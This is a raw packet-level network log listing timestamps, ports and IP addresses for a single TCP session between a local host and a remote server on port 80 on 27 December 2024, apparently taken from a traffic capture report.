Dec 27, 2024 09:02:41.290740013 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.291830063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.291883945 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.292108059 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.293076992 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.293093920 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.293114901 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.294200897 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.294248104 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.294394970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.295380116 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.295419931 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.295501947 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.296561956 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.296603918 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.296624899 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.297764063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.297808886 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.297837019 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.298965931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.299005032 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.299041986 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.300185919 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.300223112 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.300332069 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.301322937 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.301367044 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.301404953 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.302444935 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.302486897 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.302576065 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.303699970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.303739071 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.303741932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.304828882 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.304868937 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.304898977 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.305990934 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.306030989 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.306093931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.307171106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.307210922 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.307297945 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.308461905 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.308475018 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.308499098 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.309567928 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.309607983 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.309639931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.310782909 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.310823917 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.310859919 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.312031031 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.312042952 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.312082052 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.313137054 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.313177109 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.313215017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.314311981 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.314358950 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.314429998 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.315479040 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.315521955 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.315558910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.316658974 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.316699028 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.316772938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.317900896 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.317924976 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.317939043 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.319022894 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.319061995 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.319211006 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.320272923 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.320313931 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.320365906 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.321389914 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.321439028 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.321569920 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.322623014 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.322637081 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.322668076 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.323771000 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.323817968 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.323872089 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.324978113 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.325020075 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.325033903 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.326127052 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.326168060 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.326200962 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.327364922 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.327409029 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.327439070 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.328535080 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.328574896 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.328651905 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.329778910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.329794884 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.329812050 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.330923080 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.330969095 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.330976009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.332036018 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.332084894 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.332129002 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.333254099 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.333292961 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.333348989 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.334429979 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.334469080 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.334500074 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.335717916 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.335753918 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.335830927 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.336781025 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.336813927 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.336972952 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.337508917 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.337544918 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.337599993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.338589907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.338640928 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.338740110 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.339783907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.339823961 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.339848042 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.341013908 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.341056108 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.480458975 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.480474949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.480535984 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.480854988 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.480881929 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.480921984 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.481955051 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.482068062 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.482110977 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.483365059 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.483377934 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.483429909 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.484350920 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.484407902 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.484451056 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.485485077 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.485591888 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.485635996 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.486651897 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.486784935 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.486824989 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.487929106 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.487968922 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.488003969 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.489063978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.489150047 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.489203930 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.490215063 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.490375996 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.490417004 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.491519928 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.491533995 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.491580009 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.492614031 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.492726088 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.492763996 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.493798018 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.493881941 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.493926048 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.494976997 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.495085955 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.495129108 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.496241093 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.496376991 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.496426105 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.497308969 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.497386932 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.497431040 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.498549938 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.498734951 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.498781919 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.499711037 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.499861956 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.499908924 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.501025915 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.501157045 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.501207113 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.502114058 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.502181053 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.502223969 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.503305912 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.503333092 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.503372908 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.504472017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.504559040 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.504610062 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.505621910 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.505721092 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.505762100 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.506808996 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.506902933 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.506947994 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.507988930 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.508058071 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.508101940 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.509177923 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.509270906 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.509316921 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.510406017 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.510556936 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.510601044 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.511544943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.511600971 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.511643887 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.512770891 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.512913942 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.512964964 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.513890982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.514049053 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.514091969 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.515088081 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.515202999 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.515249968 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.516305923 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.516515970 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.516560078 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.517438889 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.517571926 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.517617941 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.518656015 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.518807888 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.518856049 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.519814968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.519927979 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.519972086 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.521042109 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.521135092 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.521178007 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.522219896 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.522316933 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.522363901 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.523406982 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.523520947 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.523566008 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.524580956 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.524718046 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.524761915 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.525747061 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.525918007 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.525963068 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.526920080 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.527062893 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.527107954 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.528150082 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.528249979 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.528296947 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.529319048 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.529474974 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.529517889 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.530497074 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.530642033 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.530689001 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.531728983 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.531841993 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.531884909 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.532907963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.533030987 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.533075094 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.534074068 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.534169912 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.534216881 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.535280943 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.535295963 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.535337925 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.536427021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.536525965 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.536566973 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.537631035 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.537710905 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.537755966 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.538831949 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.538957119 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.539000034 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.539952040 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.540102005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.540148020 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.541163921 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.541373968 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.541418076 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.542309999 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.590213060 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.682087898 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.682324886 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.682399988 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.682492971 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.682755947 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.682810068 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.683675051 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.683784008 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.683825016 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.684858084 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.684923887 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.684974909 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.686085939 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.686177015 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.686228991 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.687340021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.687517881 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.687563896 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.688438892 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.688570976 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.688616037 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.689625025 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.689732075 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.689784050 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.690804005 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.690968037 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.691013098 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.692024946 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.692106009 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.692153931 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.693224907 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.693393946 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.693438053 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.694365978 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.694485903 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.694536924 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.695579052 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.695702076 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.695754051 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.696743011 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.696808100 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.696860075 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.697972059 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.698004007 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.698060036 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.699114084 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.699208021 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.699294090 CET	49768	80	192.168.2.11	185.215.113.16
Dec 27, 2024 09:02:41.700264931 CET	80	49768	185.215.113.16	192.168.2.11
Dec 27, 2024 09:02:41.700324059 CET	80	49768	185.215.113.16	192.168.2.11
